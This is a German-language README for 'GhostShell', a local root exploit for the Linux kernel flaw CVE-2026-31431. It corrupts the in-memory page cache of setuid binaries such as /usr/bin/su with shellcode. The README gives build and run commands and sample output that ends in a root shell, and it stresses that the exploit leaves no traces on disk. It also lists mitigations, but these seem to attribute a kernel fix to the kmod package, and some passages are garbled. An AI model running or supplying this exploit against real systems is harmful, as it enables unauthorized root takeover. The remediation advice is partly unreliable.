
CVE-2026-31431 — Lokale Rechteausweitung durch Korruption des Linux-Kernel-Page-Cache
CVE-2026-31431 — Lokale Rechteausweitung durch Korruption des Linux-Kernel-Page-Cache
GhostShell ist ein Tool zur lokalen Rechteausweitung, das einen Fehler in der authencesn-AEAD-Krypto-Implementierung des Linux-Kernels ausnutzt, um eine Root-Shell von einem unprivilegierten Benutzerkonto zu erhalten. Es korrumpiert den In-Memory-Page-Cache einer setuid-root-Binärdatei (z. B. /usr/bin/su), indem es Shellcode an deren Einstiegspunkt platziert, und führt diesen dann aus — wodurch setuid(0) + setgid(0) erlangt und eine privilegierte /bin/sh gestartet wird. Es wird keine Datei auf der Festplatte verändert; nur der In-Memory-Page-Cache ist betroffen.
Kurz gesagt: Sie führen es als normaler Benutzer aus, und es bringt Sie in eine Root-Shell.
Entdeckt und veröffentlicht von Theori / Xint. Vollständiger Artikel: copy.fail
$ ./ghostshell
CVE-2026-31431 'Copy Fail'
Ziel: /usr/bin/su
Größe: 63576 Bytes
Einstiegsoffset: 0x1a50
Shellcode: 94 Bytes (24 Iterationen)
[*] Prüfe, ob der Kernel verwundbar ist...
[+] Kernel IST verwundbar.
[*] Korrumpiere Page-Cache von /usr/bin/su mit Shellcode...
[*] Patche Offset 0x01a50 (24/24) ...
[*] Verifiziere Page-Cache-Korruption...
[+] Shellcode im Page-Cache verifiziert!
[*] Führe korrumpierte setuid-Binärdatei aus...
[*] Bei Erfolg sollten Sie jetzt eine Root-Shell haben.
[*] Keine Spuren auf der Festplatte. Nur Geister im Cache.
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#
Linux 4.14 (August 2017) bis zu Kerneln, die im April 2026 gepatcht wurden.
kmodDie empfohlene Lösung für CVE-2026-31431 besteht darin, das kmod-Paket (Kernel-Modul-Dienstprogramme) zu patchen, das das verwundbare authencesn-AEAD-Chiffre-Modul enthält. Aktualisierte Pakete, die den In-Place-splice()-Entschlüsselungspfad deaktivieren oder korrigieren, wurden von den großen Distributoren veröffentlicht.
# Aktuelle kmod-Version prüfen
modprobe --version
# Auf die gepatchte Version aktualisieren
sudo apt-get update
sudo apt-get install --only-upgrade kmod
# Update verifizieren
modprobe --version
# kmod auf die gepatchte Version aktualisieren
sudo dnf update kmod
# Verifizieren
rpm -q kmod
sudo pacman -Syu kmod
Nach dem Patchen von kmod bestätigen Sie, dass das verwundbare authencesn-Modul nicht mehr ladbar ist oder aktualisiert wurde:
# Versuchen Sie, das Modul zu laden — auf gepatchten Systemen sollte dies fehlschlagen oder eine gepatchte Version melden
modinfo authencesn
# Alternativ prüfen, ob der laufende Kernel den April-2026-Patch enthält
uname -r # sollte >= der gepatchten Kernel-Version für Ihre Distribution sein
Wenn Sie kmod nicht sofort aktualisieren können, können Sie das verwundbare Chiffre-Modul am Laden hindern:
# Das authencesn-Modul auf die Blacklist setzen
echo "install authencesn /bin/true" | sudo tee /etc/modprobe.d/disable-authencesn.conf
# Zusätzlich das generische authenc-Modul auf die Blacklist setzen
echo "install authenc /bin/true" | sudo tee -a /etc/modprobe.d/disable-authencesn.conf
# Entladen, falls es geladen ist (kann fehlschlagen, wenn es in Verwendung ist)
sudo modprobe -r authencesn 2>/dev/null
Nach dem Patchen oder Anwenden des Workarounds neu starten, um sicherzustellen, dass alle korrumpierten Page-Cache-Einträge gelöscht werden.
| OS | Kernel |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-22-generic |
⚠️ Dieser Exploit wurde nur auf dem oben genannten System getestet. Ihre Ergebnisse können auf anderen Distributionen oder Kernel-Versionen abweichen.
<linux/if_alg.h>) — normalerweise in linux-libc-dev enthaltenBuild-Abhängigkeiten auf Ubuntu/Debian installieren:
sudo apt-get update
sudo apt-get install gcc linux-libc-dev
gcc -Wall -Wextra -o ghostshell ghostshell.c
Keine externen Bibliotheken erforderlich.
Ziel automatisch erkennen (prüft gängige setuid-Binärdateien wie su, sudo, passwd):
./ghostshell
Ein Ziel manuell angeben:
./ghostshell /usr/bin/sudo
Wenn der Kernel verwundbar ist, werden Sie in eine Root-Shell (#) gebracht.
_start-Einstiegspunkt-Offset zu finden.patch_chunk()-Aufruf (24 Iterationen), unter Ausnutzung des AF_ALG-splice()-In-Place-Entschlüsselungsfehlers.execl() auf der korrumpierten Binärdatei auf. Der Kernel lädt sie aus dem Page-Cache und der Shellcode läuft mit setuid-root-Berechtigungen, wodurch eine Root-Shell gestartet wird.Der Exploit korrumpiert nur den In-Memory-Page-Cache. Ein einfacher Neustart löscht ihn vollständig.
Um Caches ohne Neustart zu leeren:
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
Wenn Dirty Pages zurück auf die Festplatte geschrieben wurden (unwahrscheinlich, aber möglich), installieren Sie das betroffene Paket neu:
sudo apt-get install --reinstall util-linux # für /usr/bin/su
Dieses Tool wird nur für Bildungs- und autorisierte Sicherheitsforschungszwecke bereitgestellt. Die unbefugte Verwendung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben, ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.
Dieses Projekt ist unter der MIT-Lizenz lizenziert.
Hiermit wird jeder Person, die eine Kopie dieser Software und der zugehörigen Dokumentationsdateien (die „Software") erhält, kostenlos die Erlaubnis erteilt, die Software ohne Einschränkung zu nutzen, einschließlich und ohne Einschränkung der Rechte zur Verwendung, Vervielfältigung, Änderung, Zusammenführung, Veröffentlichung, Verteilung, Unterlizenzierung und/oder zum Verkauf von Kopien der Software, und Personen, denen die Software zur Verfügung gestellt wird, dies zu gestatten, vorbehaltlich der folgenden Bedingungen:
Der obige Urheberrechtshinweis und dieser Genehmigungshinweis müssen in allen Kopien oder wesentlichen Teilen der Software enthalten sein.
DIE SOFTWARE WIRD „WIE BESEHEN" BEREITGESTELLT, OHNE JEGLICHE AUSDRÜCKLICHE ODER IMPLIZITE GEWÄHRLEISTUNG, EINSCHLIESSLICH, ABER NICHT BESCHRÄNKT AUF DIE GEWÄHRLEISTUNG DER MARKTGÄNGIGKEIT, DER EIGNUNG FÜR EINEN BESTIMMTEN ZWECK UND DER NICHTVERLETZUNG VON RECHTEN DRITTER. IN KEINEM FALL SIND DIE AUTOREN ODER URHEBERRECHTSINHABER FÜR JEGLICHE ANSPRÜCHE, SCHÄDEN ODER ANDERE HAFTUNGEN VERANTWORTLICH, SEI ES AUS VERTRAG, UNERLAUBTER HANDLUNG ODER ANDERWEITIG, DIE AUS ODER IM ZUSAMMENHANG MIT DER SOFTWARE ODER DER NUTZUNG ODER ANDEREN GESCHÄFTEN MIT DER SOFTWARE ENTSTEHEN.